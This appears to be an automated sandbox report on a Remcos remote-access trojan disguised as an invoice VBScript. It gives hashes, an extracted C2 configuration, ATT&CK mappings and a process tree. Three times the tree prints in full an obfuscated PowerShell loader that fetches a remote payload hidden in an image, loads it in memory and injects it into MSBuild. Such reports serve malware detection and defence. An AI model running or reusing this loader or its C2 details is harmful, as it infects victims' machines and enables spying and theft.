remcos | 31b4230ab0b1e15b55948c13c881ac07627b49cbf2cddd29bef7e527536896b4

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2025, 08:02

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General

Target

INVSO269936_pdf.vbs
Size

190KB
MD5

507901780438f38bcd55386972a90f44
SHA1

22c5a6d3df6cbc78303a3309c0859bc1a080f7e9
SHA256

31b4230ab0b1e15b55948c13c881ac07627b49cbf2cddd29bef7e527536896b4
SHA512

cb4ca4683ff1a9288dbf2f7851044a8df3ee471852f94cf2279e6a364fca599def444292dac5e84b96e46800b00815561a1e37ab8f2d16de03c5ce56ddea7b33
SSDEEP

3072:mV5VjCwpL15Yhn/Ui59Ymd95DnpTkwKxWccMF+:mV5Vq59Ymd1

Score

10^/10

remcos svc discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

svc

meme7.work.gd:3124

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
svchost
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
smss
mouse_option
false
mutex
meme-ZPFPWZ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
svc
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 6 IoCs

flow	pid	Process
4	4148	powershell.exe
23	4148	powershell.exe
52	4592	powershell.exe
56	4592	powershell.exe
73	4040	powershell.exe
74	4040	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1121399784-3202166597-3503557106-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1121399784-3202166597-3503557106-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1121399784-3202166597-3503557106-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4148	powershell.exe
4592	powershell.exe
4040	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4148 set thread context of 5068	4148	powershell.exe	96
PID 4592 set thread context of 1504	4592	powershell.exe	106
PID 4040 set thread context of 4900	4040	powershell.exe	118

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4148	powershell.exe
4148	powershell.exe
4592	powershell.exe
4592	powershell.exe
4040	powershell.exe
4040	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	4040	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5068	MSBuild.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 532 wrote to memory of 4148	532	WScript.exe	84
PID 532 wrote to memory of 4148	532	WScript.exe	84
PID 4148 wrote to memory of 3580	4148	powershell.exe	93
PID 4148 wrote to memory of 3580	4148	powershell.exe	93
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4148 wrote to memory of 5068	4148	powershell.exe	96
PID 4108 wrote to memory of 4592	4108	wscript.exe	103
PID 4108 wrote to memory of 4592	4108	wscript.exe	103
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4592 wrote to memory of 1504	4592	powershell.exe	106
PID 4212 wrote to memory of 4040	4212	wscript.exe	116
PID 4212 wrote to memory of 4040	4212	wscript.exe	116
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118
PID 4040 wrote to memory of 4900	4040	powershell.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVSO269936_pdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnADAALwB3AFgAdgBrADYAcgBjAHcALwBkAC8AZQBlAC4AZQAjAHMAYQBwAC8ALwA6AHMAcAAjACMAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AZABvAHcAbgBsAG8AYQBkAC8AbgBlAHcAXwBpAG0AYQBnAGUAXwBUAEEAUwBLAFMALwBuAGUAdwBfAGkAbQBhAGcAZQBfAFQAQQBTAEsAUwAuAGoAcABnACcAOwAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ACQAdAB5AHAAZQAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACwAJwAnACwAJwAnACwAJwAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACcALAAnAGgAaQByAHUAbgBkAGkAbgBpAGQAYQBlACcALAAnAHYAYgBzACcALAAnADEAJwAsACcAMQAnACwAJwBwAHIAZQBsAGEAdABlAGwAeQAnACkAKQA=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\hirundinidae.vbs"
    3⤵
    PID:3580
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5068

C:\Windows\system32\wscript.exe
wscript.exe C:\ProgramData\hirundinidae.vbs
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnADAALwB3AFgAdgBrADYAcgBjAHcALwBkAC8AZQBlAC4AZQAjAHMAYQBwAC8ALwA6AHMAcAAjACMAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AZABvAHcAbgBsAG8AYQBkAC8AbgBlAHcAXwBpAG0AYQBnAGUAXwBUAEEAUwBLAFMALwBuAGUAdwBfAGkAbQBhAGcAZQBfAFQAQQBTAEsAUwAuAGoAcABnACcAOwAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ACQAdAB5AHAAZQAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACwAJwAnACwAJwAnACwAJwAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACcALAAnAGgAaQByAHUAbgBkAGkAbgBpAGQAYQBlACcALAAnAHYAYgBzACcALAAnADEAJwAsACcAMQAnACwAJwBwAHIAZQBsAGEAdABlAGwAeQAnACkAKQA=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1504

C:\Windows\system32\wscript.exe
wscript.exe C:\ProgramData\hirundinidae.vbs
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnADAALwB3AFgAdgBrADYAcgBjAHcALwBkAC8AZQBlAC4AZQAjAHMAYQBwAC8ALwA6AHMAcAAjACMAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AZABvAHcAbgBsAG8AYQBkAC8AbgBlAHcAXwBpAG0AYQBnAGUAXwBUAEEAUwBLAFMALwBuAGUAdwBfAGkAbQBhAGcAZQBfAFQAQQBTAEsAUwAuAGoAcABnACcAOwAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ACQAdAB5AHAAZQAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACwAJwAnACwAJwAnACwAJwAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACcALAAnAGgAaQByAHUAbgBkAGkAbgBpAGQAYQBlACcALAAnAHYAYgBzACcALAAnADEAJwAsACcAMQAnACwAJwBwAHIAZQBsAGEAdABlAGwAeQAnACkAKQA=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\hirundinidae.vbs

Filesize
190KB

MD5
af49c7cd6b001bd1ac81146450482f99

SHA1
a3b28d75283349c9b5220a4824b5a4a129fa4f2d

SHA256
ed017bdcf86964fbcea1d4b9e2c30c84e5e6e5cae0ba17707bdbdca1a2b0cbe3

SHA512
bca215277cf7ce4a519757b06be91434c0ba3c70356acee0d0e97dce780cf364ceaaa00fd4aec16c0fa4dfe06363d54b558a00627f24104e9693accdd03db5af

Download Submit
C:\ProgramData\smss\logs.dat

Filesize
144B

MD5
4519aa4b16fd0140cf18f7e469a0ff63

SHA1
5ea342b44a5adb8f0efdd007ec509758bb29963b

SHA256
7b67c4705d619818d9b28d7692bacf7242e132c4288adf1db9d6a975747a10cb

SHA512
2ee56b369f39ab2a87af9710805c586eac8500bb44d06f26bcbd39bd313c2a28356ab734a7580f2ca0f77cad4ef1ad8ef72d60fb8e088f6cf41a3c3840eb6c25

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e67e56dac67c0e2e78c4c1090342cf14

SHA1
6f54f65b606a81473f2d0c4e58a16aee07665e85

SHA256
fd890df92391693d922f88501cb097cec3afcc80fc3051f91f0abaaf2d734f12

SHA512
2b51e883386ffe87e5e5fa4a1b5baab86a22b0a4c7a61a6f1420ee0304f352189611094650f7261e3b3cee3af7ea2d350863a054d59553fdd1a9240b61db1d85

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
142244437baadf9a71948c3ab12542aa

SHA1
cf281dde69fcbd09b54be201839f0ac990032607

SHA256
b39d9b96659956ad141ee9809ff2fd408156f0fa48fcda257a3aa06dbf6d1c88

SHA512
08299b99de236d8b76d2d409d0715576a379cdee0b68cfcd14a38eecdfc31405126ae7edd6e797ad177b76c5f39444bfb56dd04e5f14a902e62154cc2954bddc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ctclxk4t.zld.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1504-63-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4148-16-0x00007FF8B5E50000-0x00007FF8B6911000-memory.dmp

Filesize
10.8MB

Download
memory/4148-0-0x00007FF8B5E53000-0x00007FF8B5E55000-memory.dmp

Filesize
8KB

Download
memory/4148-20-0x00007FF8B5E50000-0x00007FF8B6911000-memory.dmp

Filesize
10.8MB

Download
memory/4148-6-0x0000021B5A0E0000-0x0000021B5A102000-memory.dmp

Filesize
136KB

Download
memory/4148-11-0x00007FF8B5E50000-0x00007FF8B6911000-memory.dmp

Filesize
10.8MB

Download
memory/4148-12-0x00007FF8B5E50000-0x00007FF8B6911000-memory.dmp

Filesize
10.8MB

Download
memory/4148-13-0x0000021B5A590000-0x0000021B5A6EA000-memory.dmp

Filesize
1.4MB

Download
memory/4148-15-0x00007FF8B5E53000-0x00007FF8B5E55000-memory.dmp

Filesize
8KB

Download
memory/4900-92-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-17-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-38-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-27-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-26-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-58-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-25-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-77-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-78-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-22-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5068-21-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download